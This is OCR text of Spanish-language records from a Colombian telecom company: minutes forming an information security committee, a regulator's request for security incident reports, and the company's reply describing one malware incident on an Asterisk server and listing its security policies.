: Srer _ CUMPLIMIENTO

DD/MM/AA

DD/MM/AA

DD/MM/AA

DD/MM/AA

DD/MM/AA

DD/MM/AA

Siendo la(s) 11:00 AM  se da por terminada la reunion y se firma la presente acta.
ANEXOS:

ELABORO: ANA MARIA GUEVARA FECHA:22/01/2021 HORA: 11:00 A.M

Pagina 2 de 3
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ACTA DE REUNION

CODIGO: FR.05.CA

VERSION: 01

VIGENCIA: 01/02/2017

Proceso: GESTION DE CALIDAD
: Py Pagina3de3
‘ FIRMAS ASISTENTES E INVITADOS i
NG, : NOMBRE ' CARGO \ FIRMAq
JORGE HERNAN GOMEZ TIMANA ~ [GERENTE P
YENNY CAROLINA ORTEGA RIOS DIRECCION ADMINISTRATIVA [ /}d’ "
3 |[MARIA CLAUDIA VALDIVIESO BELTRAN|EFE DE OFICINA DE ASESORA

JURIDICA

) — : O~
L cklu/.kkx; \ ;

4  [ESTHER ELENA SALAZAR DOMINGUEZ ASESORA DE ATENCION AL
CLIENTE
5  JANNETHE LILIANA MENDEZ VELASCO |DIRECCION INTEGRACION /
TECNOLOGICA ¢ e S\
6 JANA LUCIA BOLANOS DAZA ASESORA MERCADEO Y -
VENTAS EIIND) o0z/P
7 |RUBEN DARIO CAMAYO MEDINA DIRECCION OPERATIVA
8  |FELIPE ANDRES BENAVIDEZ GALVIS  [DIRECCION DE RECURSOS N7
FINANCIEROS \
9  [CRISTIAN ALONSO CAJIO BERMUDEZ |PROFESIONAL ESPECIALIZADO o
CONTABILIDAD Y . oA
PRESUPUESTO AT
10 JANA MARIA GUEVARA MERA PRACTICANTE TI Anad {onad aUE‘\I@?a-
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VERSION: 01
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FECHA: 1/02/2021

LUGAR: SALA DE JUNTAS

TEMA DE REUNION: CONFORMACION DEL COMITE DE SEGURIDAD DE LA

CIUDAD: POPAYAN HORA DE INICIO: 8:00 AM HCRAFINAL: 11:00 PM

INFORMACION

OBJETIVO: Establecer el comité de seguridad de la informacion en la empresa Telecomunicaciones de

Popayan 5.A EMTEL E.5.Py definir roles y responsabilidades de los integrantes que lo conforman.

CONVOCADOS f ASISTENTES
ASISTIO
N°. NOMBRES Y APELLIDOS CARGO
sl NO
1 [orge Hernan Gdmez Timana Gerente X
2 [Yenny Carolina Ortega Rios Subgerente con funciones de X
direccidn administrativa
3 [Maria Claudia Valdivieso Beltran lefe de oficina de asesora juridica X
4 |Esther Elena Salazar Dominguez 1efe de oficina planeacidn X
estratégica
5 lannethe Liliana Méndez Velasco Direccion integracion tecnologica X
6 |lose Tobar Diaz Direccion de servicios al cliente X
7 |Ana Maria Guevara Mera Practicante Tl X
Ne. ORDEN DEL DIA SEGUIMIENTO
sl NO
1 Creacion del comité de seguridad de la informacion en la empresa

Pdgina1de 3







CODIGO: FR.05.CA

Em ACTA DE REUNIGN VERSION: 01

W Proceso: GESTION DE CALIDAD VIGENCIA: 01/02/2017
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DESARROLLO

1. De acuerdo a la Resolucién No 24 del 15 de mayo de 2020 por lo cual se estahlacen LAS POLITICAS)
CORPORATIVAS DE TIC Y SEGURIDAD DE LA INFORMACION, la empresa de Telecomunicaciones de
Popaydn S.A EMTEL E.S.P, en cumplimiento al compromisa del Sistema de Gestidn de Seguridad de la]
Informacian [SGSI), crea el comité de seguridad de la informacidn, definiendo y estahleciendo roles
responsabilidades gue involucren las actividades de operacion, gestidn y administracién de la
seguridad de la informacidn en la empresa.

2. Seestablecen las funciones del comité de seguridad de la informacidn
Coordinar la implementacion del sistema de gestion de seguridad de la Informacian al interior de la
empresa.

* Revisar los diagndsticos del estado de la seguridad de la informacién en la empresa

* Acompaiar e impulsar el desarrollo de proyectos de seguridad.

s Coordinar vy dirigir accianes especificas que ayuden a proveer un ambiente seguro y establecer los
recursos de informacidn que sean consistentes con las metas y objetivos de la empresa

* Recomendar roles y responsabilidades especificos que se relacionen con la seguridad de laf
informacion.

* Aprobar el uso de metodologias y procesos especificos para la seguridad de la informacian,

* Participar en la formulacidn y evaluacidn de planes de accidn para mitigar y/o eliminar riesgos.

* Realizar revisiones periddicas del SGSI {por lo menos una vez al afio) y segun los resultados de esta
revisidn definir las acciones pertinentes,

= Promover la difusidon y sensibilizacion de la seguridad de la informacion dentro de la entidad.

* Poner en conocimiento de la entidad, los documentos generados al interior del comité de seguridad
de la informacidn que impacten de manera transversal a la misma.

s Las demas funciones inherentes a la naturaleza del Comite.

3. En relacion a las funciones del comité de seguridad de la informacion, se definen los roles y
responsabilidades gue tiene cada uno de las integrantes gue lo conforman, asi como su intervencion
en cada una de las actividades, con el objetivo de conocer quién toma parte en cada actividad y con
qué nivel de participacion. El comité de seguridad estard liderado por un oficial de seguridad, quien
debera convocar a diferentes empleados de la empresa con elfin de formar grupos interdisciplinarios
que apoyenen laimplementacion ygestion del sistemade seguridad dz la informacidn, en ese sentido
teniendo en cuenta la naturaleza la empresa y los objetivos que buscacon la implantacion de un SGS,
se establecid que inicialmente este estara conformado de la siguiente manera:

* (Oficial de Seguridad de la Informacion.

* Unrepresentante de la Oficina de Tecnologias de la Informacion

* LUn representante del drea de Gestion del Control.

* Unrepresentante del area de Gestion de Calidad.

* Unrepresentante de la Oficina Asesora Juridica.
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El Comité de Seguridad de Ia Informacién debera reunirse cada dos meses, previa convocatoria
secretario Técnico del comité,

Como acto administrativo se conforma el comité de seguridad de la informacién en la empresa
telecomunicaciones de Popayan S.A EMTEL E.S.P.

COMPROMISOS
COMPROMISO O TAREA RESPONSABLE FECHA LIMITEDE
CUMPUMIENTO
DD/MM/AA
DD/MM/AA
DD/MM/AA
DD/MM/AA
| DD/MM/AA
| | DD/MM/AA
Siendo lafs) 11:00A.M  se da por terminada la reunién y se firma |a presente acta.
ANEXOS:
ELABORO: ANAMARIA GUEVARA FECHA: 01/02/2021 HORA: 11:00 AM
FIRMAS ASISTENTES E INVITADOS
N*, NOMBRE CARGO \ FIRMA
1 Jorge Hernan Gémez Timana Gerente Z  PNEY A
2 [Yenny Carolina Ortega Rios Subgerente con funciones | ~-—7 | ' ;
e direccion administrativa
3 rlar{a Claudia Valdivieso Beltran efe de oficina de asesora \ (1} -
uridica A v
4 Itsther Elena Salazar Dominguez Jefe de oficina planeacién 3
estratégica f A
5 Jannetheliliana Méndez Velasco Direccién integracién ) :
tecnolégica — ]éa/ %M :
6  losé Tobar Diaz Direccién de servicioal | [ _— A 4
cliente [ MJ \ N
7 ___Ana Maria Guevara Mera Practicante de Tl A3 Yaid ng.;a:
W
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ANEXO Q
REQUERIMIENTO N. 2020-048 DEL 31 DE DICIEMBRE DE 2020 DE LA CRC

f a El futuro Goblemo
y COMISION es de todos de Colombia
( =GULACION

IMUNICACIONES
Continuacion: Requerimiento de informacion No. 2020-048, Sistema de Gestion de Seguridad de la Informacion  Pagina 2 de 3
definido en virtud de lo establecido en la Resolucidn CRC 5569 de 2018,
1 2 3 4 5 6 7

Fecha del Servicio NUmero de Duracién | Categoria del Nivel de Tratamiento

Incidente | afcctado usuarios incidente scveridad del dado al

afectados incidente incidente

1. Fecha del incidente: Debera indicarse la fecha de inicio del incidente.

2. Servicio afectado: Debera indicarse el o los servicios afectados por el incidente de
indisponibilidad:

a. Internet Fijo.

b. Internet Movil.

c. Telefonia fija.

d. Telefonia Mévil.

3. Namero de usuarios externos afectadas: Para telefonia fija e Internet fijo, debe
indicarse el numerc de suscriptores afectados. Para Internet y telefonia moévil, debera
indicarse el numero potencial de usuarios afectados de acuerdo con el uso normal de la
infraestructura afectada.

4. Duracién: Dcbe indicarsc ¢l ticmpo con horas de duracion del incidente de scguridad de la
informacidn.

5. Categoria del incidente: Debe indicarse la categoria del incidente de seguridad de la
informacion, el operador debe indicar una de las siguientes categorias de causas raiz:

a. Denegacién de servicio: Denegacidn de servicio {DoS) y Denegacién de servicio
distribuida (DDoS) son una categoria amplia de incidentes con caracteristicas en
comuan. Estos incidentes causan gue un sistema, servicio o red no opere a su
capacidad prevista, usualmente causando la denegacion completa del acceso a los
usuarios legitimos.

b. Acceso no auterizado: esta categoria de incidentes consiste en intentos no autorizados
para acceder o hacer un mal uso de un sistema, servicio o red.

¢, Malware: csta categoria identifica un programa o parte de un prograrma inscrtado cn
otro con la intencidn de modificar su compartamiento original, generalmente para
realizar actividades maliciosas coma roba de informacion, robo de identidad,
destruccién de informacidn y recursos, denegacion de servicio, correo no deseado,
etc.

d. Abuso: esta categaria de incidentes identifica la vielacidn de las paliticas de seguridad
del sistema de informacién de una organizacion. No son atagues en el sentido estricto
de la palabra, pero a menudc se informan como incidentes y requieren ser
gestionadaos.

e. Recopilacidén de informaciéon de sistema: esta categoria de incidentes incluye las
actividades asociadas con la identificacidn de objetivos potenciales y el andlisis de los
servicios que se ejecutan en esos objetivos (ej. probing, ping, scanning).

f. Otro: Incidente que no se agrupe en alguna de las categarias anteriores.
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Cantinuaddn: Requerimienta de informacion No. 2023-048. Sistema de Gestion de Seguridad de la Infarmacidn  Pagina 3 de 3
definide en virtud de lo establecida en la Resolucion CRC 5569 de 2018,

6. Nivel de severidad de incidente: Debe indicarse el nivel de severidad del incidente de
seguridad de la informacidn, teniendo en cuenta la importancia del sistema de informacion
involucrado, las potenciales pérdidas de negocio y el posible impacto social, segun lo
dispuesto en el Anexo 5.8 de la presente Resolucion:

a.  Muy Serio (Clase IV)
b. Serio (Clase III)

€. Menos serio {Clase II)
d. Pegueno (Clase I)

7. Tratamiento dado al incidente: Acciones adoptadas para superar el incidente al interior
de |a red de EMPRESA DE TELECOMUNICACIONES DE POPAYAN 5.A E.S.P. Tambien
deben describirse las acciones de socializacién del incidente con el Grupo de Respuesta a
Emergencias Cibernéticas de Colombia, en caso aplicable.

B. Documento con el contenido del SGSI que actualmente tiene definido, describiendo
los detalles que considere necesarios sobre su implementacién y los procesos
criticos asociados.

La informacion solicitada debe ser remitida a mas tardar ¢l 18 de enero de 2021, al correo
electronico  reportescrccrcom.gov.co, referenciando en el asunto Requerimiento de
informacion No. 2020-048.

En caso de tener alguna inquietud sobre el particular, puede contactar al Ingeniero Carlos Ruiz al
teléfono (1) 3198300 Ext. 8428 0 a través del correo electronico carlos.ruiz@crcom.qov.co
importante aclarar que este correo esta destinado Gnicamente a la respuesta de inquietudes con
respecto al requerimiento, y no a la recepcion de la informacion solicitada.

Finalmente, es importante que tenga en cuenta que el requerimiento de esta informacion se hace
de canformidad con la facultad otorgada a esta Comision por el numeral 19 del articulo 22 de la
Ley 1341 de 2009, en virtud del cual, la entrega de la informacién debe ser (i) exacta, (i} veraz y
(iii} oportuna, so pena de la imposicidn multas diarias hasta por 250 salarios minimos legales
mensuales, por cada dia en que incurran en esta conducta, sequn la gravedad de la falta v la
reincidencia en su comision.

Cordial Saludo,
CARLOS Femado digaments

o CARLOS EUSEBID

EUSEBIO :ac-hu;suv{‘”_
LUGO SILVA te1225-0800

Directar Ejecutive

Proyectd: Carlos Ruiz
Revisd: Claudia Bustamante, Lorena Vivas, Miguel Andrés Durdn
Aprobd; Lina Mama Dugue

pisa 9 Bacatd, D.C.
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Popayan, 18 de enero de 2020

Doctor

CARLOS EUSEBIO LUGO SILVA

Director Ejecutivo

COMISION DE REGULACIOMN COMMUMNICACIOMNES
Calle 594 BIS Mo, 5-53, Edificio Link Siete Sesenta, piso 9

Tel:+57 (1) 3198300
Bogota D.C

Asunto: Respuesta Requerimiento de informacidn Mo, 2020-048,

Respetado Doctor Lugo,

Enrespuesta al requerimiento del asunto, mediante la presente comunicacion se remite la

informacidn solicitada en los siguientes términos:

A. INCDENTES DETECTADOS EN EL ARO 2020

Fecha Servicio | Numero  Duracion | Categoria | Nivel de | Tratamiento dado al
Incidente | Afectado | Usuarios del severidad | incidente
afectados incidente | del
Incidente
10-21- Telefonia 13 46 horas | Malware | Pequefio | El incidente se empezd
2020 Fija - PBX (Clase I a detectar como una
Wirtuales afectacidn a los
servicios de telefonia
fija de PBX “irtuales
implementadas  sobre
un  servidar  Asterisk,
que en horas pico se
presentaba como una
denegacidn de servicio
gradual a medida que
aumentaba el trafice
de telefoniafija. Lusgo
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de realizar diferentes
pruebas v revision de
Yarios equipos
involucrados  en el
servicio se detectd el

sof tware que
catalogamos COMo
malware

“op_server.pl”, qué

estaba ocasionando el
consumao maximo dela
CRLU del servidor
afectado el
performance  de  los
servicios de  Asterix
implementados en el
servidar, Una  wez
detectado se procedid
a bajar el servicio,
buscar v eliminar del
servidor los  archivos
relacionados  con el
nombre del malware vy
mejorar las politicas de
acceso  al  servidor,
Luggo  de  realizado
estas  acciones  los
sarvicios continuaron
operando
normalmente,

& nivel de Impacto Social del incidente presentado, conforme a lo indicado en el anexo 5.8
de la Resolucidn 5569 de 2018 este fue catalogado como de impocto sociaf menor, dado
afectd temporalmente v especdalmente en las horas pico, los servicios de telefonia fija de
las PBX Wirtuales, los cuales luego de detectar v solucionar la afectacidn del sistema
informatico, todos los servidos continuaron operando normalmente,

Como acddn de socializacidon de este incidente de incidencia e impacto social menor fue
reportado al grupo colCERT al correo electrénico contacto@colcert, gov.co

@ Calla 5 No. 5 - 68 CAM W Flapa 1B Conneotardes (062) 824 33 33 « Gerencia (FAX) (D52) 824 28 05
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EMTEL

B. SISTEMA DE GESTION DE SEGURIDAD DE LA INFORMACION DE LA EMPRESA DE
TELECOMUNICACIONES DE POPAYAN S.A EMTEL E.S.P.

La Empresa de telecomunicaciones de Popayan 54 EMTEL ES.P, entendiendo la
importancia de una adecuada gestién de la informacion, se ha comprometido con la
implementacidn de un sistema de gestidn de seguridad de la informacidn (5G5), buscando
establecer un marco de confianza en el ejercicio de sus deberes con el Estado v los
ciudadanos, bajo estos aspectos con el propdsito de dar cumplimiento al requerimiento de
informacién Mo, 2020-048 numeral B, se anexan documentos que soportan la
implementacidn del 5351 en la empresa,

1. Alcance del sisterma de gestidn de seguridad de la informacidn
2. Politica de seguridad de la informacién y objetivos

2. Definicién de rolesy responsabilidades de seguridad

4 Inventario de activos

5 Metodologia de evaluacidn y tratamiento de riesgos

6, Dedaracién de aplicabilidad {S04)

7. Uso aceptable de los activos (Politica gestidn de activos)
2 Politica control de acceso

9. Politica de escritorio limpio y pantalla limpia

10, Politica de dispositivos méviles

11. Politica prohibicién de software

12, Politica copias de respaldo

13, Politica de datos personales

14, Requerimientoslegales, regulatorios y contractuales

Cordialm ented~ ’__w

7
“YERNY CAROLINA ORTEGA RIOS

Prifmer Suplente Gerencia EMTEL 5.4, E.5.P,

Anexos: Documentos 5G51 EMTEL

Proyectd: Ing. Ruben Dario Camayo M, Directo roperativo / IngAre Mera G vevara, Proceso TI ERMTEL
Fevid: D= v¥enny Camlira Ortega, subgemnte
Apmobo Ing. Jorge HermanGomez Timana, Gernte
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